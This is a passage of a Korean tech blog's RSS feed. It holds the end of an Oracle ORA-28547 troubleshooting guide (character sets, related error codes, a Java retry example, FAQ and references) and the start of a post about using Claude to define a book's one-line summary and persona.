&lt;p&gt;Basic Light가 지원하는 character set은 다음 8개로 한정되며, &lt;strong&gt;그 외 character set 서버에 접속하면 ORA-12737 에러&lt;/strong&gt;가 납니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;US7ASCII, WE8DEC, WE8MSWIN1252, WE8ISO8859P1,
WE8EBCDIC37C, WE8EBCDIC1047, UTF8, AL32UTF8&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;시나리오별 권장:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;시나리오&lt;/th&gt;
&lt;th&gt;권장 패키지&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;서버가 AL32UTF8 (대부분의 신규 환경)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Basic Light&lt;/strong&gt; OK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;서버가 KO16MSWIN949 (레거시 한글 운영 DB)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Basic 필수&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;컨테이너 이미지 크기 최소화 우선&lt;/td&gt;
&lt;td&gt;Basic Light&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;한글 에러 메시지 / 다국어 메시지 필요&lt;/td&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;ORA-12737 주의:&lt;/strong&gt; Basic Light로 KO16MSWIN949 서버에 접속하면 &lt;code class=&quot;language-text&quot;&gt;ORA-12737: Instant Client Light: unsupported server character set&lt;/code&gt; 에러가 납니다. NLS_LANG 조정으로는 회피되지 않으며, &lt;strong&gt;풀 Basic 패키지로 교체&lt;/strong&gt;가 유일한 해결입니다. 본문 ORA-28547과는 별개 에러이지만 한글 환경에서 자주 함께 등장합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;도커 이미지 안에서 sqlplus 등을 실행해야 한다면, Instant Client를 포함한 멀티스테이지 이미지를 빌드할 때 character set 매칭에 따라 Basic / Basic Light를 선택하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;헷갈리는 다른 에러 코드 — ORA-28547로 오해하기 쉬운 것들&lt;/h2&gt;
&lt;p&gt;검색하면 ORA-28547과 같이 묶여 나오지만, &lt;strong&gt;공식적으로는 다른 에러 코드의 영역&lt;/strong&gt;인 항목들입니다. ORA-28547로 보이더라도 alert.log에 아래 코드가 함께 찍혔다면 &lt;strong&gt;진짜 원인은 그쪽&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;증상&lt;/th&gt;
&lt;th&gt;실제 에러 코드&lt;/th&gt;
&lt;th&gt;공식 원인&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;32bit/64bit 클라이언트 비트 불일치&lt;/td&gt;
&lt;td&gt;ORA-12705 / ORA-12537&lt;/td&gt;
&lt;td&gt;NLS · 환경 부정합 / partner disconnected&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tnsnames.ora 호스트·서비스명 오타&lt;/td&gt;
&lt;td&gt;ORA-12154 / ORA-12541&lt;/td&gt;
&lt;td&gt;TNS resolve 실패 / no listener&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;리스너에 서비스 미등록&lt;/td&gt;
&lt;td&gt;ORA-12514&lt;/td&gt;
&lt;td&gt;listener does not currently know of service&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12c 클라이언트로 19c 서버 접속 실패&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;ORA-28040&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No matching authentication protocol&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;방화벽이 1521 포트 차단&lt;/td&gt;
&lt;td&gt;ORA-12170 / ORA-12541&lt;/td&gt;
&lt;td&gt;TNS:Connect timeout / no listener&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;서버에서 갑자기 끊김&lt;/td&gt;
&lt;td&gt;ORA-12537 &lt;em&gt;(informational)&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;partner disconnected (EOF) — 추가 단서 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;애플리케이션 레벨 처리 — 운영 권장 패턴&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Spring + Resilience4j 예시&lt;/span&gt;
&lt;span class=&quot;token annotation punctuation&quot;&gt;@Retryable&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    value &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;SQLException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    maxAttempts &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    backoff &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token annotation punctuation&quot;&gt;@Backoff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;delay &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; multiplier &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Connection&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;getConnection&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;SQLException&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; dataSource&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getConnection&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token annotation punctuation&quot;&gt;@Recover&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Connection&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;recover&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;SQLException&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    log&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;DB 연결 실패 (errorCode={})&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getErrorCode&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    alertService&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;notifyOps&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;DB connection failure: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getErrorCode&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ServiceUnavailableException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;DB 일시 점검 중입니다.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;핵심 원칙:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ORA-28547처럼 일시적일 수 있는 에러(특히 shared server busy 시나리오)는 짧은 재시도로 흡수&lt;/li&gt;
&lt;li&gt;연속 실패 시 운영팀 알림, 사용자에게는 일반 메시지&lt;/li&gt;
&lt;li&gt;HikariCP의 &lt;code class=&quot;language-text&quot;&gt;connectionTestQuery&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;validationTimeout&lt;/code&gt;으로 사전 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;ORA-28547 자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1. 운영 중인 서비스에서 갑자기 발생합니다. 가장 먼저 무엇을 봐야 하나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;서버의 &lt;code class=&quot;language-text&quot;&gt;alert.log&lt;/code&gt;와 &lt;code class=&quot;language-text&quot;&gt;listener.log&lt;/code&gt;를 동시에 확인해 ORA-28547과 함께 찍힌 동반 에러 코드를 찾으세요. 위 &lt;a href=&quot;#%ED%97%B7%EA%B0%88%EB%A6%AC%EB%8A%94-%EB%8B%A4%EB%A5%B8-%EC%97%90%EB%9F%AC-%EC%BD%94%EB%93%9C--ora-28547%EB%A1%9C-%EC%98%A4%ED%95%B4%ED%95%98%EA%B8%B0-%EC%89%AC%EC%9A%B4-%EA%B2%83%EB%93%A4&quot;&gt;헷갈리는 다른 에러 코드&lt;/a&gt; 표에서 매칭되는 항목이 있다면 진짜 원인은 그쪽입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2. tnsping은 성공하는데 sqlplus만 ORA-28547이 납니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;tnsping은 리스너까지의 네트워크와 TNS resolve만 확인합니다. ORA-28547은 그 이후 단계인 &lt;strong&gt;세션 협상&lt;/strong&gt;에서 깨지는 에러라 tnsping은 통과합니다. 본문 1·2·3·4단계를 차례로 점검하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3. Database link 호출 시에만 ORA-28547이 납니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;가장 흔한 정공 케이스입니다. Database link가 가리키는 tnsnames 항목에 &lt;code class=&quot;language-text&quot;&gt;(HS=)&lt;/code&gt;가 들어 있거나, HS 에이전트의 &lt;code class=&quot;language-text&quot;&gt;init&amp;lt;sid&gt;.ora&lt;/code&gt;가 잘못된 경우입니다. 본문 1단계를 우선 점검하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4. 12c 이하 클라이언트로 19c 서버에 붙는데 인증 호환 에러가 납니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;이 시나리오는 ORA-28547이 아니라 &lt;strong&gt;ORA-28040 (No matching authentication protocol)&lt;/strong&gt; 입니다. 19c 서버의 &lt;code class=&quot;language-text&quot;&gt;SQLNET.ALLOWED_LOGON_VERSION_SERVER&lt;/code&gt; 기본값이 12로 올라갔기 때문입니다. 임시 해결은 서버에서 값을 11로 낮추는 것이고, 근본 해결은 클라이언트를 19c로 업그레이드하는 것입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5. 11g 환경에서도 본 가이드를 그대로 적용해도 되나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ORA-28547의 5가지 공식 원인은 11g R2부터 19c까지 동일합니다. 다만 위 버전별 호환표에 정리한 대로 &lt;strong&gt;인증 파라미터 이름&lt;/strong&gt;(11g는 단일 &lt;code class=&quot;language-text&quot;&gt;SQLNET.ALLOWED_LOGON_VERSION&lt;/code&gt;)과 &lt;strong&gt;alert.log 경로&lt;/strong&gt;(11g R1 이전은 &lt;code class=&quot;language-text&quot;&gt;bdump/&lt;/code&gt;)는 다릅니다. 11.2.0.4는 2020-12에 모든 패치 지원이 종료됐으므로 보안 측면에서 19c 마이그레이션을 권장합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — 공식 원인 중심 체크리스트&lt;/h2&gt;
&lt;p&gt;ORA-28547을 만났을 때 위에서부터 차례로 확인하세요.&lt;/p&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; connect string · tnsnames에 &lt;code class=&quot;language-text&quot;&gt;(HS=)&lt;/code&gt;가 들어 있는가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; HS 에이전트(database link / 외부 프로시저)를 의도적으로 사용 중인가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 클라이언트 &lt;code class=&quot;language-text&quot;&gt;ORA_NLS10&lt;/code&gt; 환경변수가 비정상적으로 설정돼 있는가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Windows + DRCP 환경에서 &lt;code class=&quot;language-text&quot;&gt;SQLNET.AUTHENTICATION_SERVICES=NTS&lt;/code&gt;인가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Shared server 모드에서 모든 server가 busy 상태인가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; alert.log에 동반 에러 코드가 함께 찍혀 있는가?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이 6가지가 모두 아니라면, 위 &lt;a href=&quot;#%ED%97%B7%EA%B0%88%EB%A6%AC%EB%8A%94-%EB%8B%A4%EB%A5%B8-%EC%97%90%EB%9F%AC-%EC%BD%94%EB%93%9C--ora-28547%EB%A1%9C-%EC%98%A4%ED%95%B4%ED%95%98%EA%B8%B0-%EC%89%AC%EC%9A%B4-%EA%B2%83%EB%93%A4&quot;&gt;헷갈리는 다른 에러 코드&lt;/a&gt; 표로 넘어가서 ORA-28547이 진짜 원인인지부터 다시 확인하세요.&lt;/p&gt;
&lt;p&gt;여러분이 만난 ORA-28547은 어느 케이스였나요? 댓글로 alert.log에 함께 찍혔던 동반 에러 코드를 공유해주시면 다음 글에 사례로 반영하겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;참고 자료&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.oracle.com/en/error-help/db/ora-28547/&quot;&gt;Oracle Database Error Messages — ORA-28547&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.oracle.com/en/error-help/db/ora-28040/&quot;&gt;Oracle Database Error Messages — ORA-28040&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.oracle.com/en/error-help/db/ora-12537/&quot;&gt;Oracle Database Error Messages — ORA-12537&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.oracle.com/en/database/oracle/oracle-database/19/netag/&quot;&gt;Oracle Net Services Administrator&apos;s Guide (19c)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.oracle.com/en/database/oracle/oracle-database/19/netrf/parameters-for-the-sqlnet.ora.html&quot;&gt;Parameters for the sqlnet.ora File (19c)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://oracle-base.com/articles/11g/database-resident-connection-pool-11gr1&quot;&gt;Database Resident Connection Pool (DRCP) in Oracle 11g R1 — ORACLE-BASE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.oracle.com/us/support/library/lifetime-support-technology-069183.pdf&quot;&gt;Oracle Lifetime Support Policy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blogs.oracle.com/database/announcing-oracle-database-23ai-free-container-images-for-armbased-apple-macbook-computers&quot;&gt;Oracle Database 23ai Free — Apple Silicon ARM 지원 발표&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/gvenzl/oracle-free&quot;&gt;gvenzl/oracle-free Docker Hub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/gvenzl/oracle-xe&quot;&gt;gvenzl/oracle-xe Docker Hub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/oracle/docker-images&quot;&gt;Oracle 공식 docker-images GitHub 리포지토리&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/oracle/docker-images/issues/2673&quot;&gt;GitHub Issue #2673 — Oracle 23c Free character set 변경 제약&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.oracle.com/database/technologies/faq-nls-lang.html&quot;&gt;Oracle NLS_LANG FAQ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.oracle.com/en/database/oracle/oracle-database/18/ntcli/instant-client-light-language-and-character-set-requirements.html&quot;&gt;Oracle Instant Client Light — Language and Character Set Requirements (18c)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.oracle.com/en/database/oracle/oracle-database/23/ntcli/about-oracle-instant-client-light.html&quot;&gt;About Oracle Instant Client Basic Light (23c)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Claude 책 만들기 #2 — 콘셉트 잡기: 누가 읽을지부터 정한다]]></title><description><![CDATA[Claude 책 만들기 #2 — 콘셉트 잡기: 한 줄 요약·페르소나·약속으로 책의 중심 잡기 "쓰고 싶은 주제는 있는데, 막상 한 줄로 적어보라면 막혀요." 8주 챌린지 시작과 함께 가장 많이 받은 피드백입니다. 솔직히 저도 #1 시작 전 준비의…]]></description><link>https://blog.javapark.kr/book-making-02-concept/</link><guid isPermaLink="false">https://blog.javapark.kr/book-making-02-concept/</guid><pubDate>Mon, 04 May 2026 22:30:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/book-making-02-concept.png&quot; alt=&quot;Claude 책 만들기 #2 — 콘셉트 잡기: 한 줄 요약·페르소나·약속으로 책의 중심 잡기&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;쓰고 싶은 주제는 있는데, 막상 한 줄로 적어보라면 막혀요.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;8주 챌린지 시작과 함께 가장 많이 받은 피드백입니다. 솔직히 저도 &lt;a href=&quot;/book-making-01-getting-started/&quot;&gt;#1 시작 전 준비&lt;/a&gt;의 5개 질문에 답하면서 &quot;내가 진짜 어떤 책을 쓰고 싶은 거지?&quot;를 두 번이나 다시 적었습니다.&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다. 「나만의 책만들기」 시리즈 &lt;strong&gt;#2 — 콘셉트 잡기&lt;/strong&gt; 시간입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;2장의 목표는 책의 중심을 단 세 줄로 못 박는 것&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;한 줄 요약&lt;/strong&gt; — 이 책은 무엇인가&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;페르소나&lt;/strong&gt; — 이 책을 읽는 한 사람은 누구인가&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;약속&lt;/strong&gt; — 다 읽은 독자가 무엇을 손에 쥐는가&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;이 세 줄이 흔들리면 8주가 흔들립니다. 반대로 이 세 줄만 단단하면 나머지는 따라옵니다. 오늘은 Claude와 함께 이 세 줄을 잡는 워크플로우를 정리하겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 콘셉트가 가장 먼저인가&lt;/h2&gt;
&lt;p&gt;빈 마크다운 파일 앞에 앉으면 바로 떠오르는 충동이 있습니다 — &lt;strong&gt;차례부터 짜고 싶다&lt;/strong&gt;. &quot;1장은 이거, 2장은 저거…&quot; 한 번에 차례를 만들어 두면 뭔가 시작한 기분이 듭니다.&lt;/p&gt;
&lt;p&gt;함정입니다. 차례는 &lt;strong&gt;콘셉트의 결과물&lt;/strong&gt;이지 출발점이 아닙니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;콘셉트 없이 차례부터&lt;/th&gt;
&lt;th&gt;콘셉트 먼저&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;챕터 제목이 모호함 (&quot;AI 활용&quot;, &quot;도구 소개&quot;)&lt;/td&gt;
&lt;td&gt;챕터마다 독자에게 줄 것이 명확&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8주 후 절반은 &quot;이거 빼야 하나?&quot;로 회의&lt;/td&gt;
&lt;td&gt;빼야 할 챕터가 처음부터 안 들어옴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;표지·디자인 결정마다 &quot;톤이 뭐였더라?&quot;&lt;/td&gt;
&lt;td&gt;한 줄 요약이 디자인까지 결정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;독자 피드백을 받아도 어디에 반영할지 모름&lt;/td&gt;
&lt;td&gt;페르소나가 &quot;이건 그 사람에게 필요한가?&quot; 답을 준다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;콘셉트 = 8주 동안 모든 결정의 기준선&lt;/strong&gt; 입니다. 차례·문체·표지·심지어 댓글에 어떻게 답할지까지 여기서 갈립니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1단계 — 한 줄 요약 (One-line Summary)&lt;/h2&gt;
&lt;h3&gt;좋은 한 줄 요약의 조건&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;누가&lt;/strong&gt; 읽으면 좋은지가 명시되어 있다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;무엇을&lt;/strong&gt; 다루는지가 한 단어로 압축된다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;읽은 뒤 어떻게 변하는지&lt;/strong&gt;가 암시된다&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;나쁜 예 vs 좋은 예&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;나쁜 예 ❌&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;AI를 활용한 글쓰기에 관한 책&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;— 누가 읽는지, 무엇을 얻는지 알 수 없습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;좋은 예 ✅&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;&lt;strong&gt;한 번도 책을 써본 적 없는 사람&lt;/strong&gt;이 &lt;strong&gt;Claude와 8주 동안&lt;/strong&gt; 한 챕터씩 써가며 &lt;strong&gt;자기만의 50p 전자책&lt;/strong&gt;을 손에 쥐는 책.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;— 독자(처음 쓰는 사람), 도구(Claude), 기간(8주), 결과물(50p PDF)이 한 줄에 다 들어가 있습니다.&lt;/p&gt;
&lt;h3&gt;Claude 프롬프트 — 한 줄 요약 다듬기&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;/book-making-01-getting-started/#%EC%8B%A4%EC%8A%B5-2--claude%EC%99%80-%EC%B2%AB-%EB%8C%80%ED%99%94-%EC%B1%85-%EC%BD%98%EC%85%89%ED%8A%B8-%EC%9D%B8%ED%84%B0%EB%B7%B0&quot;&gt;#1에서 받은 5개 질문 답변&lt;/a&gt;을 그대로 들고 가서 다음 프롬프트를 던집니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;다음은 내가 만들고 싶은 책에 대한 답변이다.

[지난 주 5개 답변 붙여넣기]

이 답변을 기반으로 책의 한 줄 요약 후보 5개를 만들어줘.
각 후보는 다음 조건을 모두 충족해야 한다:

&lt;span class=&quot;token list punctuation&quot;&gt;1.&lt;/span&gt; 50자 이내
&lt;span class=&quot;token list punctuation&quot;&gt;2.&lt;/span&gt; 누구를 위한 책인지 명시
&lt;span class=&quot;token list punctuation&quot;&gt;3.&lt;/span&gt; 읽으면 무엇을 얻는지 암시
&lt;span class=&quot;token list punctuation&quot;&gt;4.&lt;/span&gt; 같은 주제의 다른 책과 차별화 포인트 1개

5개를 표로 정리하고, 각 후보의 강점·약점도 한 줄씩 적어줘.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Claude가 5개 후보를 표로 줍니다. &lt;strong&gt;그중 가장 마음에 드는 것 1개를 고르거나, 두 개를 합쳐 다시 다듬으세요.&lt;/strong&gt; 다듬은 결과를 &lt;code class=&quot;language-text&quot;&gt;book/README.md&lt;/code&gt; 최상단에 박습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 5개를 한 번에 받아 비교하는 게 핵심입니다. &quot;괜찮은 한 줄&quot;을 단번에 만들려고 하지 마시고, &lt;strong&gt;선택지를 펼쳐놓고 고르는 작업&lt;/strong&gt;으로 바꾸세요. Claude가 가장 잘하는 일이 바로 이것입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;2단계 — 페르소나 (한 사람 정하기)&lt;/h2&gt;
&lt;h3&gt;&quot;모두를 위한 책&quot;의 함정&lt;/h3&gt;
&lt;p&gt;처음 책을 쓰는 사람이 가장 흔히 빠지는 함정 — &lt;strong&gt;&quot;누구나 읽을 수 있는 책&quot;&lt;/strong&gt; 으로 만들려는 것입니다. 결과는 정반대입니다. 누구를 위한지 모르는 책은 &lt;strong&gt;누구도 끝까지 읽지 않습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;해법은 단순합니다 — &lt;strong&gt;한 사람을 떠올리고 그 사람에게 말하듯 씁니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;페르소나 카드 템플릿&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;book/research/notes/persona.md&lt;/code&gt; 파일을 만들고 다음을 채우세요.&lt;/p&gt;
